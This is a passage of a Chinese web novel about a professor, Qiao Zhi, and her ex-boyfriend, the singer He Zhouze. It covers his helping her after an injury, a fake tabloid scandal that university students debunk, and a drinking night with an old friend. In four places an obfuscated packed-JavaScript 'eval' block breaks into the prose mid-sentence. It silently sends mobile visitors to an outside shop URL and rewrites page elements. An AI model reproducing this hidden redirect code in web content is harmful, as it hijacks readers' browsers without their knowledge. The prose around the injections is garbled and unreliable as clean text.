何舟泽好歹是帮了自己,乔之这会儿也没法对他冷冰冰。她温声道:“你们先回去吧,我一个人也能行。” 医院配把拐杖算不上难事,真要是严重,轮椅也不是坐不得。 方鸣刚对接完什么工作,这时候也拍了拍何舟泽:“你明早还有拍摄,先跟小王回去休息吧。我可以留下来陪乔老师。” 何舟泽看了他一眼,眸子意味不明地转了转。虽没说什么,但方鸣知道他是劝不动他的,立马住嘴了。 “我没有半路抛下你的打算,况且你现在还走不了路。”何舟泽转过来跟乔之说。 言之凿凿,让人难以拒绝,于是乔之也不再坚持。 几人沉默着没说话,各自看手机。 另一边的祝声刷到校园论坛上的帖子,随手转给了乔之:【乔,你上十大了。脚还好吗?】 乔之先回了个“不用担心”,随后便点进了那条帖子。 发帖不过十来分钟,这条帖子已经被盖了上百层楼。乔之的眼皮跳了跳,生怕其中会有些对何舟泽不好的揣测言论。 好在当时在场的人很多,而她和何舟泽几乎没什么别的交流——一切看起来就只像是个好人好事的现场。 乔之滑了滑屏幕,刷到很多张她和何舟泽的同框照片。譬如他蹲在她面前关切地询问,再譬如他将她横抱起。 照片里,他们靠得很近却又克制地疏离,无人知晓的拉扯隐藏在镜头之下。 相似的场景被四面八方的机位留下照片,乔之的心头不禁动了动,却说不出滋味。 何舟泽瞥见乔之手机上闪过他们俩被拍下的场景,他一眼就认出了这是江大论坛的页面设计。 他问:“被发到论坛上了?” 乔之“嗯”了声,心虚般收起了手机。 方鸣倒是反应更大,冲过来问:“照片被发哪儿了?我要赶紧找人删了。” 乔之不想再给何舟泽添麻烦,于是又打开帖子递给方鸣看,解释道:“江大的校内论坛。” 方鸣接过去,皱眉道:“这个论坛负责人是谁?万一你俩被传出什么绯闻就不妙了。” 何舟泽这个当事人倒是淡定得很,他这会儿也自己登上了论坛:“信息技术部。不过,类似的帖子也不止这一条,你删不完。” 为了证明自己的说辞,还把屏幕转过来给方鸣看。 方鸣见屏幕上至少每隔五条帖子就会跳出相关的讨论,登时觉得头大。 何舟泽收回手机,像是刷起了帖子似的,漫不经心道:“论坛只有在校师生能登入,你别担心。而且这不都是在夸我学雷锋做好事吗?” “那就好……”听到这,方鸣舒了口气,紧接着他觉得不对,反问道,“那你怎么能登上去?” “这个嘛。”何舟泽扬了扬嘴角,“我毕业的时候一口气充了十年网费,校内账号还没被收回。” 方鸣懒得跟他掰扯,转身就开始找江大信息技术部的联系方式。 虽然帖子删不完,但被顶上十大的那条影响太大,还是处理了比较妥当。毕竟何舟泽现在在这个位置上,盯着他的人不在少数。他就算不靠流量过活,但也免不了有心之人造谣生事。 乔之见方鸣急匆匆地开始紧急公关,低声对何舟泽道了个歉:“抱歉,给你们添麻烦了。” “没事,方鸣早就习惯了。”何舟泽转头盯着乔之看,过了半晌又补充道,“况且,就算不是你……我也不会坐视不管。” 这句话本是为了宽慰乔之,但她听见后心里又莫名的有些发闷。 方鸣忙着找人,剩下两位俱是无话可说,气氛难免有些尴尬。好在乔之的检查报告出来得很是时候,她回了诊间听医嘱。 所幸脚踝没出什么大事,不是骨折,只是扭伤有一些严重,拉到了韧带。医生带她去打了膏药,叮嘱她至少要修养十天半个月,每隔几天就要来换药、复查。 乔之要了对拐杖,坚持要自己磕磕绊绊地走。 她可不敢再让何舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521583|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽那么抱着她出医院。 好在外科楼有直达地下停车场的电梯,她没遭多少罪。 今天一同来的除了方鸣,还有上次在海洋馆见过那个助理小王,只不过他刚刚守在车里没一起上去。 这会儿是小王开车,方鸣坐副驾,何舟泽和乔之一道坐在后排。 两人又是并排坐着,中间隔了不到半米。车上除了方鸣在打电话与论坛对接,没别人说话。 乔之低着头,努力让自己的存在感降到最低。毕竟她和何舟泽不久前才决裂过。 “你……”何舟泽突然开口,但又停顿了几秒才继续说下去,“之后要是不方便自己来医院,我可以送你。这段时间我都在江临。” 这话一出,车上几个人都怔住了。 这好人好事做得也太过头了,连售后都有。 方鸣透过后视镜悄悄打量了一眼后排的两位,奈何光线昏暗,看不清他们的神情。不过他也不蠢,结合之前几次见面,他几乎可以断定乔之就是何舟泽心里放不下的那个人。 何舟泽出道多年,从不炒CP,不卖男友人设,不谈感情生活,近些年甚至连情歌好像都没有唱过。 这些都是博取流量的捷径,情歌更是容易唱出圈。他样样不碰,一副十足的禁欲模样。坊间一直有小道消息流传,他心里有个深藏多年且始终放不下的白月光。 方鸣并非打从一开始就跟着何舟泽,所以连他也不清楚这件事的真相。不过每次他旁敲侧击地问,都会被何舟泽搪塞过去。久而久之,他也琢磨出一点蛛丝马迹——这个传闻,多半是真的。 不过他一直想不明白,何舟泽有这样的条件、这样的性格,竟然也会有难以割舍的爱而不得的过往。 现在想想,如果对方是乔之,一切都变得有理有据了起来——乔老师看起来温温柔柔,实际上冷淡得很,是真正的拒人于千里之外。 想到这,方鸣偷偷为何舟泽叹了口气。 现在连粉丝都巴不得他沾点七情六欲,但现实情况似乎难如登天。毕竟乔之对他,礼貌客气多于熟络。 果然,那位不染红尘的乔老师开口便是拒绝:“谢谢,不必麻烦了。” 何舟泽料到了乔之的反应,因此也没坚持。 这家医院离乔之家不远,何舟泽不放心她一个人上楼,把她送到了家门口。 一路上两人没多说什么,谁也不知道该如何开口。 何舟泽将人送到,目光流转了千万遍,但最后还是只能克制地道别:“之后如果有什么事,你不介意的话,可以找我。” 他想说句“晚安”,又担心太过暧昧,最后只深深看了乔之一眼,说一句:“再见。” 说完转身就要走。 乔之攥紧了门把手,迟疑地开口:“等一下。” 何舟泽准备离开的身影顿了一顿,抑制住惊喜转头,但他只听见乔之郑重地道谢:“今天,谢谢你们。” 他的眼睛骤然黯淡下去,像是自嘲般地一笑:“不客气。我先走了。” 是他抱了多余的期待。 37.第三十七章 周六一早,微博热搜榜上爆了个大新闻,“何舟泽隐婚生子”的词条几分钟内就被顶到了第一位。 最早发微博的是一个名气不大的狗仔号,正文只写了几个字:“顶流凌晨现身医院陪同检查,疑似隐婚生子”。 没指名道姓,但配图却让人看得一清二楚。俨然就是何舟泽坐在一个女人身边,两人低头在交谈,而周围环境很明显是在医院。女人长发披肩,背对着镜头,但何舟泽露了大半个侧脸,就算戴着口罩也能认得出来。 何舟泽是时下最受关注的新生代歌手,平时有什么风吹草动都会被送上热搜,更别提挂了这么个惊世骇俗的标题。 刚到周末,微博服务器就因为这条新闻罢工了好几分钟,程序员紧急被喊回去加班修复。由此可见这个消息的劲爆程度。 只不过一张偷拍的照片,造谣博眼球的可能性很高,但何舟泽这么多年来从未传出过绯闻,难得被拍就是在医院这种令人遐想的场所,况且他曾说过自己是独生子女。 因此,即便有上大量粉丝下场控评,还是止不住消息传播。 【活久见,居然能刷到hhz的绯闻。】 【这哥平时一副高岭之花的样子,一来就整出大的嘛?太能演了吧,不去演戏真是屈才了。】 【这是江临市第三医院吧?好像就是以妇产科出名的。】 【hhz昨天不是正好回江临参加校庆吗?时间地点都对上了诶。难怪最近看他常驻江临,原来是金屋藏娇了。】 …… 方鸣一大早就看到这条热搜,差点没被气死。他昨晚光顾着处理江大内部论坛的帖子,没料到在医院被狗仔拍了。 “不好意思,今天上午的拍摄可能需要延误,我们会负责相关损失。” “抱歉,今天的活动取消。” “小吴,麻烦帮我找一下千古娱乐的联系方式。” 他恨不得长出十只手,同时应付四面八方的工作。 此时,当事人坐在宽大的灰色沙发上,脸色也不见得有多好。何舟泽这个人脾气好,再不喜欢的人也会在面子上装一装。但这会儿他眉头紧皱,眼底尽是愠色,显然是真动怒了。 他趁着方鸣挂断电话的间隙,问:“照片得尽快删了,不能被人认出乔之。” 方鸣本想回一句“那当然”,没想到他后半句跟着的理由却是和乔老师有关。 得。白月光传闻再次坐实。 “我已经找人在联系微博和千古娱乐那边了,不过这次肯定是有人在背后动手脚。” 按理说,以何舟泽的咖位,绝大多数狗仔拍到照片后会先来要价。毕竟一般人干这种事本质上是为了钱。 更何况方鸣八面玲珑,和很多营销号私下都有联系。现在是个流量时代,就算何舟泽不吃流量饭,也得能在其中自保。 这次发照片的是个名不见经传的账号,才几万粉丝,是最近几个月新开的号。能直接跳过要价的环节,上来就是一个头条新闻,显然是背后有人在撑腰。 何舟泽在圈内风评很好,但耐不住有时热度高会占了别人的道,能跟他当对家的歌手没几个,随便做个排除法就能猜出一二。 何舟泽冷声道:“戴千晗年底要发新专了。” 方鸣讲电话讲得口干舌燥,顺手给自己倒了杯水,赞同道:“我也猜到可能是他们团队搞的鬼,这个营销号发过好几条暗捧他的微博。” “隐婚生子”这种子虚乌有的假新闻很容易澄清,工作室第一时间就做出了回应,但没想到对方早就留了后手。这条热搜不过是个引子,后续不断有人在持续搅浑水,翻一些陈年假新闻无事生非。明晃晃的恶意扑面而来。 乔之是在吃午饭的时候从乐队小群得知这个消息的。她很少关注娱乐新闻,知道的时候事情已经发酵了几个小时。 【姚朔S:这是老何和乔之吧?怎么在医院被拍到了?[图片]】 姚朔一觉睡到中午,结果一看手机就刷到了这条新闻,登时清醒了,立马在群里发了张截图。 乔之上次和何舟泽摊牌后,并没有退出这个群。一来大家不清楚何舟泽与她后来发生的事,突然退群反而尴尬;二来她其实也真心把他们几个当作朋友,狠不下心再像当年一样删得干净。 【今天不搬砖:我服了,这些人骂得也太难听了吧?一看就是水军在编黑料。】 【H:昨天乔之在学校被撞伤了,我陪她去医院检查。】 【今天不搬砖:@Jo还好吗?】 【姚朔S:??没事吧?怎么和我一样倒霉?】 乔之行动不便,只随便加热了一份速冻炒饭。 她刚坐下吃了一口,就听见桌上的手机震个不停,随后便看见了群里的消息。 【Jo:只是脚踝扭伤,休养一段时间就好,谢谢关心。】 发完这条消息,她才点进姚朔发的那张截图仔细看起来。姚朔应当是特意避开了特别过分的评论,但不免还是截到了一些阴阳怪气的言论。 乔之赶紧上微博把事情的来龙去脉了解了一番,发现是她和何舟泽昨天在医院被狗仔偷拍,而后又被安上一个“隐婚生子”的荒谬绯闻。 事情发酵了几小时,现在已经发展到一边抨击何舟泽“假纯情假清高卖人设”,一边夹带些陈年假料造谣生事。其中也有不少人在扒事件女主角是谁,但狗仔发的照片里她没露正脸,也没什么特征,因此焦点还是在何舟泽本人身上。 场面似乎有点控制不住。 乔之想了想,给何舟泽拨了个电话。 “我看到热搜了。抱歉。” “没事。”何舟泽的声音听上去有些疲惫,“不是你的问题,别放心上。” “……那些言论,你也别放心上。” 乔之想安慰他,却听到电话那头传来一声轻笑,语气比刚才轻松许多:“我都习以为常了,当然不会放在心上。谢谢关心。” 两人又双双沉默了几秒。 何舟泽开口道:“这几天你小心一些,如果有人找上你,你别理他们。遇到麻烦就联系我。” “我已经给你带来大麻烦了,真碰见的话我会报警的。”乔之认真地说。 何舟泽听见这话,仿佛被逗笑了:“行,报警也行。不过还是别碰上比较好。你腿脚不便,尽量少出门,平时注意伤口。” 乔之见他深陷舆论漩涡却还不忘关心自己,心里的愧疚又多了几分:“我会注意的。这次真的很感激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539196|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也很抱歉。我不知道该怎么补偿你。” 何舟泽玩笑道:“不是什么大事。不过如果真想补偿的话,乔老师让我讹一顿饭吧?” 乔之愣了一愣,以他俩现在风口浪尖的状态,一起吃饭不等于上赶着给人送新闻吗? “……方便吗?” 何舟泽倒像是早就想好了:“我可以去你家。你们那边基本都是教职工,应该碰不上什么人。我听说留学生厨艺普遍高超,早就想验证一下了。” “出去一个留子,回来一个厨子”是坊间广为流传的一句调侃。乔之在外五六年,虽谈不上厨艺高超,但招待一餐是没什么问题的。 于是她应下:“那好吧。你有什么想吃的吗?我提前点个外卖,准备一下食材。” 何舟泽随口报了几个菜名,都是些家常快手菜。 乔之在备忘录里记好,和他约了晚饭。 不过下午没等到饭点,乔之刚准备处理食材开始做饭,何舟泽就提前到了。 她听见门铃时还觉得奇怪,生怕是有人因为那条绯闻找上门。待她拄着拐单脚蹦跳到玄关处,一看猫眼——外头站着的是何舟泽。 乔之拉开门问:“你怎么提前过来了?” 何舟泽走进来,自然地带上门:“你的脚刚受伤,我怎么忍心让伤员给我做饭。” “……?” 乔之不明所以,毕竟他下午点菜的时候可是毫不含糊,极其流畅。 何舟泽扬了扬嘴角,露出一副自得的神情:“所以我点的都是些我勉强能拿得出手的菜。” 原来他一开始就准备自己下厨。 这顿答谢的晚饭,现在反而变成了他来照顾伤员。 乔之顿了顿,低声道:“……哪有这么要赔偿的。” “乔乔。”何舟泽又不自觉换回了昵称,“能和你再吃一顿晚饭,我已经……很知足了。” 大概是怕气氛又冷下去,何舟泽适时停止了话题,转身就进了厨房。 何舟泽有段时间过得不太顺遂,没钱出去买饭,只能磕磕绊绊地学会了自己做饭。 他人聪明,学什么都上手快。因此尽管这些年他已经很少下厨,但这几个家常菜还是做得又快又好。 没多久,乔之的面前就整整齐齐摆了三菜一汤。 乔之见何舟泽为自己忙前忙后的样子,心里的愧疚感又泛了上来。她接过何舟泽递来的筷子,看了他好一会儿,盯得对方都准备开口问一句“怎么了”。 她开口道:“对不起。那天我说的话有些重了。” 时隔多日,她第一次开口提起这件事。 面对有些事情,她总是很容易应激,而他偏偏每次都是那个承受一切情绪的人。 没想到何舟泽只是一愣,随即便笑道:“你说得也没错,确实是我越线了。”他停了几秒,又说,“我以后不会了。” 是不会总是出现她左右,还是不会再喜欢她了? 乔之低头喝了口骨头汤,但没敢问,不过这两者似乎没什么差别。 “谢谢你帮我。”乔之这次说的是真心的,“认识你我不后悔。” 何舟泽盛汤的手顿住了,随后又一副不放在心上的模样道:“我也是。” 38.第三十八章 两人默默吃着饭,放桌上的手机都不约而同地振动起来,几乎是一模一样的频率。 乔之看了眼消息通知,似乎是乐队小群里有人艾特了他们俩。 【姚朔S:还得是咱们江大学生呀!辟谣水平不是一般的高。[图片]】 是一张营销号的截图,内容就是昨晚在江大校内论坛上疯传的何舟泽好人好事现场。虽然方鸣联系了论坛管理员删掉了那条十大热贴,但早有人截图保存了下来。当时怕消息外泄会引发绯闻,现在看来,这条帖子反倒成了澄清的利器。 【真是开局一张图,内容全靠编。昨天江大校庆晚会结束后有一位老师被车撞了,当时何舟泽刚好路过,好心送人去医院。这怎么就被传成了隐婚生子。】 【友情提示:江临三院是离江大最近的三甲。】 【那位老师伤得都走不动路了,腿上一直流血,多亏了何舟泽出手相助。校园卡证明本人江大在读[图片]】 【昨天江大内部都在聊这个事情[论坛截图],好人好事也能被编造成娱乐八卦】 【我都要路转粉了,何舟泽冲过来救人的时候太帅了。】 这条假新闻已经发酵了将近一天的时间,不少人在其中浑水摸鱼带节奏,一看就是早有预谋。何舟泽的工作室和粉丝的澄清却因为利益相关,一时间难以取信于人,反而让路人错以为是粉圈大战。 在这个时间点大批入场的江大学生无疑是强力的帮手。江临大学本来就是全国顶尖的高校,自带光环,再加上学生们发的内容图文并茂、有理有据,可信度极高。 何舟泽的粉丝也借此找到了发力方向,竟很快就扭转了局面。 【事已至此,我们也不瞒了。新生代最强原创歌手何舟泽,江临大学生物医药工程专业毕业。低调的超级学霸罢了~】 【top大学工科出身,怎么不算是高智商帅哥呢?】 【颜性恋+智性恋天花板啊家人们!】 【我哥真的当代活雷锋,上回综艺里还救了差点溺水的嘉宾。】 乔之一目十行地看着,心里舒了一口气。还好这场风波开始逐渐平息。 她知道以何舟泽现在的热度,这种假新闻晚辟谣一分钟,对他的负面影响都是难以估量的。 方鸣适时给何舟泽打来一个电话。何舟泽起身去阳台接起,听见对方高兴得像是要放鞭炮庆祝。 “我真是没想到江大学生会出来帮忙辟谣。戴千晗他们偷鸡不成蚀把米,这次还帮你宣传了一波。” 何舟泽在外很少提及自己的学历,非粉丝几乎都不知道他是江大毕业生。人大多都有名校情结,这次事件又给他多加上了一层高智光环,因此吸引了不少路人的关注。 方鸣问:“荔枝视频下季度准备出一个解谜类综艺,配置还可以。节目组那边估计是看到新闻了,刚刚过来想跟我们接触接触。我暂时还没回绝,你有兴趣吗?” 何舟泽这几个月的重心都在新专和巡演上,没精力参加综艺。所以他不假思索地拒绝了:“不去。” “ok,那我过会儿给他们回个话。”方鸣像是早有预料,也没多说什么,“明天采访的提纲你看过了吗?” “没。晚点回去再看。” 方鸣一惊:“今天这么多人盯着你还敢出门?你可别告诉我你现在和乔老师在一起。” 何舟泽斜靠在栏杆上,正好可以透过落地窗看见餐厅。乔之正坐在餐桌前,低头小口小口地喝着汤,神情比刚刚他在时要放松得多。 他微微勾了勾唇,道:“是啊,在她家吃饭。” 方鸣倒吸一口气,叮嘱道:“你最好小心点,别再被拍了。”想了想他又忍不住吐槽道,“你这样,要不明天我让他们给你加条情感向问答得了。” 方鸣这话也就是随口一说,毕竟何舟泽从不在公众面前聊情感话题。但不成想,对方听见后竟然轻飘飘应了句:“行啊。” 他再度震惊地确认:“你认真的吗?” 何舟泽的目光一直看着同一个方向。这时乔之刚好也望了过来,两人四目相对,又双双飞速移开。 他道:“今天他们不都骂我卖禁欲人设吗?我准备澄清一下。” 他不是不沾七情六欲,而是那个能勾起他情思的人一直没回来。 方鸣欲言又止,但想想也没坏处。何舟泽总有一天会谈恋爱,无论是不是乔之,他们早点打预防针没坏处。 “那行。估计你又得上一次热搜了。”虽然他应该也习惯了。 何舟泽没跟他接着唠,果断结束话题:“没其他事的话,我先回去吃饭了。” 瞧他这迫不及待的样子,方鸣咬牙切齿:“好的,您快滚。” 何舟泽挂了电话回到餐桌前,乔之见他眉头舒展,问了句:“事情都解决了吗?” “嗯。”何舟泽点点头,坐下,“对我来说本来就不是什么大事。” 他又有些愧疚道:“但是我担心你会受影响。是我给你带来麻烦了。” 他是公众人物,常年在长枪短炮之下,早就习惯了被审视和探听的生活。可乔之不是圈内人,她有自己的生活,他担心这次的事情会给她带来难以避免的困扰。 乔之摇摇头,没放在心上。毕竟这件事的起因还是他帮了自己。 “没关系。我最近应该很少出门,学校那边也已经请假了,这段时间都会留在家里休养。过阵子就没人记得我了。” 何舟泽松了口气:“那就好。” 末了,他又说:“只要你有需要,我都在。” 他的神情很认真,看得乔之心里一颤。 吃完饭,何舟泽没有久留,他帮着收拾了餐桌就匆匆离开了。 等他的身影消失在视野里,乔之才发现自己在面对他时一直紧绷着,即便他今天礼貌客气得只像是普通朋友。 有些东西,仿佛不受控制。她努力舍弃,却又无比挣扎。 - 乐队小群还在有一搭没一搭地聊着这次的事情。校内论坛是江大学生课余生活的重要组成,所以姚朔在回顾当年他们在校时的经典帖子,一说就停不下来。比如缘起于论坛讨论的课程评分标准改革,比如那些年包括他们乐队在内的校园风云人物们。 乔之随意地翻看了几眼。 说着说着,夏安语在群里提到了她。 【今天不搬砖:我下周来江临出差。明天下午到。@姚朔S @H @Jo,有空吱一声。】 【姚朔S:吱。】 【H:明天有工作安排,可能没时间。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552486|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【今天不搬砖:没事,也没指望见你。乔乔呢?】 乔之和她已经很多年没见过面了。最后一次还是在寝室楼下,夏安语给她递了张毕业音乐会的海报,恳请她亲临现场,但她最后还是爽约了。 抱着源于当年爽约的一点歉意,她很快就应下了。 【Jo:好啊。只不过我现在出行可能不是很方便。】 【今天不搬砖:是哦,你刚受伤。身边有人照顾你吗?】 【Jo:我一个人住。不过没什么大问题。】 【今天不搬砖:我可以去你家找你!老姚反正经常见,不差这一回[呲牙笑]】 【姚朔S:夏安语,绝交了。[已拉黑.jpg]】 夏安语和姚朔按照惯例拌了几句嘴,随后又私戳乔之要了个地址,两人约好明天一起吃晚饭。 第二天起来,乔之稍微理了理房间。虽然她的生活习惯向来很好,但夏安语毕竟是多年未见的朋友,乔之还是把她当作客人对待。 京市今天下雨,夏安语的航班延误了两个钟头,到乔之家时差不多也已经到饭点,两人最后就近挑了家配送快的餐厅。 时隔多年,乔之发现夏安语变了很多。她们俩刚认识的时候,夏安语还是个外表又冷又酷的女生,喜欢画轻欧美妆。现在的她穿衣打扮都已经偏成熟稳重。 不知为何,乔之总觉得夏安语生动的灵魂被封印在了如今的躯壳之下。 见乔之看着自己,夏安语放下手机,笑问:“怎么了?我脸上有东西?” 意识到自己观察的眼神停留太久,有些不太礼貌。乔之赶紧道歉:“抱歉,只是觉得你和以前不太一样了。” “他们都这么说。”夏安语随手将披肩长发撩到耳后,神色如常,“毕竟现在要上班嘛。而且我男朋友他们家比较传统,我怕他们受不了。” 乔之想起来不久前刷到过她的朋友圈,合照上的人有些眼熟:“……还是那个医学院的学长吗?” “对。他现在也在京市上班,我们可能明年就要结婚了。”夏安语云淡风轻地丢出一个重磅新闻,让乔之着实惊了惊。 温言和邵明喻、夏安语和她的男朋友,似乎她所熟悉的校园情侣,至今都还是一对。没走到最后的好像只有她和何舟泽。 不过温言和邵明喻一直很搭,但夏安语和那位学长看上去却像是两路人。起初得知他们俩在一起的时候,乐队所有人都震惊不已。 虽然听说学长人还不错,但夏安语显然是一朵带刺的野玫瑰,唯有荆棘才能与之相配,所以乔之有些不敢相信,她竟然甘愿栽种在温室里。 仿佛看出乔之心中所想,夏安语笑说:“很惊讶吗?” 乔之点头道:“有一点。没想到你是我们中第一个结婚的。” 乔之从她的神情里读不出一点喜悦,仿佛只是在诵读命运写好的某一章。她忍不住补问了一句:“你想好了吗?” 没想到夏安语只是耸耸肩:“反正在一起这么多年也习惯了。” 说完,她转了个话题:“有点渴,你家有水吗?” 看起来像是不想再继续说下去。 乔之心里有点说不上的感慨,但也不好再说多什么,只是指了指另一边的柜子,道:“那里有矿泉水。” 39.第三十九章 夏安语依着乔之的指示拉开柜门,顺手抽了两瓶水,余光无意瞥见柜子里还有几瓶梅子酒。 是她没试过的品牌,但是风评似乎不错。 她转头问乔之:“这个牌子的梅子酒好喝吗?” 乔之想到大学的时候夏安语和颜叙常常攒酒局,有时吃个烧烤也得开两瓶啤酒。于是她说道:“还不错。我们今晚可以喝一点。” 久别重逢正是喝酒的好时机,夏安语当即拎了瓶梅子酒出来,道:“那我就不客气啦。” 乔之翻出两个小酒杯摆在桌上,磨砂杯子瞬间被染成了清浅的黄绿色,梅子酒的清香同时散发出来。 夏安语浅啜了一口,赞道:“确实不错。比我之前试过的那几款都要润口。” “我以前科研压力大的时候,晚上会喝一点助眠。” 乔之其实不爱喝酒,但年纪大了之后才发现原来大多数人喝酒不是为了享受,比如她,也会有需要酒精左右大脑的时候。 夏安语单手撑着脑袋,眼睛盯着酒杯看:“我想到以前,我们几个常常凑在一起喝酒聊人生。那时候芝麻大的琐事就觉得是天大的烦恼,殊不知毕业后连喝酒解闷都会变成奢侈。” 她抬头看乔之,轻声问道:“乔乔,这些年你过得好吗?” 乔之正在喝酒,听到这话却是一顿,她想了想,回道:“说不上很好,也没有不好。你呢?” 她想起不久前和何舟泽初见时,她告诉他自己一直在做想做研究,她很好。 这句话并不是谎言,可是生活本身并不是只有工作,她其实也有很多难以言说的烦忧。面对夏安语或者其他人,她好像可以更诚实一些。 听到这话,夏安语了然。成年人谁没有一点烦恼呢? 她叹口气,话里更多了交心的坦诚:“毕业的时候以为大家都会前路坦荡,实际上好像谁都磕磕绊绊。何舟泽、我、姚朔,都没那么顺利。现在老何算是熬出头了,老姚也终于找到了自己的新出路,但我还是在原地打转。” 乔之知道姚朔之前做律师并不开心,也知道夏安语有很多压力,但是她从来不知道何舟泽也有过不顺。 在别人眼中,何舟泽仿佛拿了爽文剧本,一路都好像开挂一般顺畅无阻。 太被上天眷顾的人总是容易生人怨怼,乔之都有些嫉妒他。 所以得知此事,她忍不住问道:“何舟泽……也遇到过挫折吗?” 夏安语没立刻回答,倒是先笑出了声:“原来你们俩真的一点联系都没有。” 事实如此,乔之只能点头。 两人的酒杯都空了,夏安语顺手又满上,接着说:“我和老姚虽然没实现什么宏图伟业,但混口饭吃还是没什么问题的。老何刚毕业那年都快沦落到街头卖艺了,有时一天只能吃一顿。” 乔之闻言,心里满是震惊。因为在她的印象中,何舟泽大四签了公司后就时常上节目积攒人气,她博二那年他就发了出圈的歌,连远在美国的她都能听见他的名字,近几年的人气更是不用多说。 她惊道:“……怎么会?” “唉。这事他可能没和你说过,他原来那个经纪人想让他往爱豆的方向发展,要他去学跳舞,还要……”夏安语说到这,看了看乔之,停顿住了。 乔之明白她的意思:“还要他和我分手。” “……对。” 乔之想起她提分手的那个午后,何舟泽在听到她宣判结局时神情破碎。 她垂下眼眸,道:“可是我们毕业前就分手了。” “但是老何从来就没想过要当爱豆呀。”夏安语比她更懂何舟泽的想法,“他当时那个经纪人手底下带着好多艺人,见他不听安排,就停掉了所有活动,回收了好几个平台的账号,直接冷处理了。如果不是后来《夏日序曲》火了,他不知道要被雪藏多少年。” 《夏日序曲》就是当初Kylie放给乔之听的那首歌。因为歌词写得真挚动人,所以乘上了毕业季的东风火遍全国,时至今日仍是毕业时刻的经典曲目。 “老何其实还是挺骄傲的一个人,毕业之后就不想再靠父母,所以那段时间他过得有上顿没下顿。我和老姚都知道他不容易,所以偶尔会想办法偷偷接济一下。” 夏安语看着乔之的眼睛,认真地说:“乔乔,那时候我常觉得他之所以这么拼命想要出头,很大一部分的原因是想让你看见他的名字。”说完她又笑了,“当然,这是我瞎说的。” 乔之的心从听见何舟泽反抗公司安排被雪藏开始就不住地震荡着。 当初她以为分手对双方的发展是更好的选择,可如今看来,何舟泽原来也走过了很长一段无人相伴的黑暗岁月。现在他终于走在了光明大道上,但是此前他竟从没想过要丢下她。 她不敢再想。 乔之并不高明地绕开了话题:“人生可能就是会有各种意想不到的际遇,就像我也没想到姚朔准备开一家面包店。” 夏安语很给面子地回道:“他之前在律所被折磨死了,现在才像是重新活了过来。” 乔之想起前两次和姚朔见面,他的确生龙活虎,看上去过得自足快乐。 何舟泽是成功的原创歌手,夏安语仍在建筑行业奋斗,姚朔准备转行做烘焙。乔之忽然想起来乐队第四人—— 她问:“你知道颜叙现在在做什么吗?” 她问得忐忑,虽然两人现在在群里互动一切正常,但当年她毕竟撞见过两人不欢而散。 夏安语愣了一愣,表情随即又恢复正常:“哦刚刚忘记他了。他现在在做编曲——我们几个就属他走得最顺。” 说完,她又猛灌了一口酒,咳了几声几乎要翻出泪花:“你们那时候其实都看出来了,对吧?” 乔之当然知道她的话中之意。 当初复变课上变化的座位,他们身上相似的烟味,还有暗流涌动的跨年夜,所有人都对此心照不宣,连一向粗线条的姚朔在后来都看出了点不同寻常。 她抽了两张纸递过去,嘴上只说:“别喝这么大口,梅子酒度数不低。” 酒过三巡,夏安语许是有些醉了,终于卸下了一点伪装,她说:“乔乔,那时候我很羡慕你和何舟泽。你们的爱那么坦荡,你们的性格又刚好互补,而相似的人是不可能善终的。” 乔之沉默不语,再次开口时只问道:“小夏,你真的决定要结婚了吗?” 夏安语歪头看了看她,举起酒杯和她一碰,玻璃杯发出清亮的脆响。 她笑得真挚:“连你们都分手了。这世上哪有真爱,生活还是要继续。” 成年人的感情大多身不由己,有些束缚来自外在,有些深根于内心。 乔之知道,就像她还没有办法接受一段亲密关系,她也无法劝说夏安语再慎重考虑。 喝了一晚上酒,两大瓶梅子酒见了底,两人都有些醉了。乔之不放心夏安语一个人回酒店,索性就收拾了床铺,让她留了下来。 黑暗中,谁都没睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565589|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 乔之听见夏安语说:“乔乔,我可能已经接受了爱而不得才是常态。” 她翻了个身,闭上眼睛,感觉眼眶有些潮热。 - 夏安语第二天一早就出门办事去了,两人都没再提昨晚的促膝长谈。 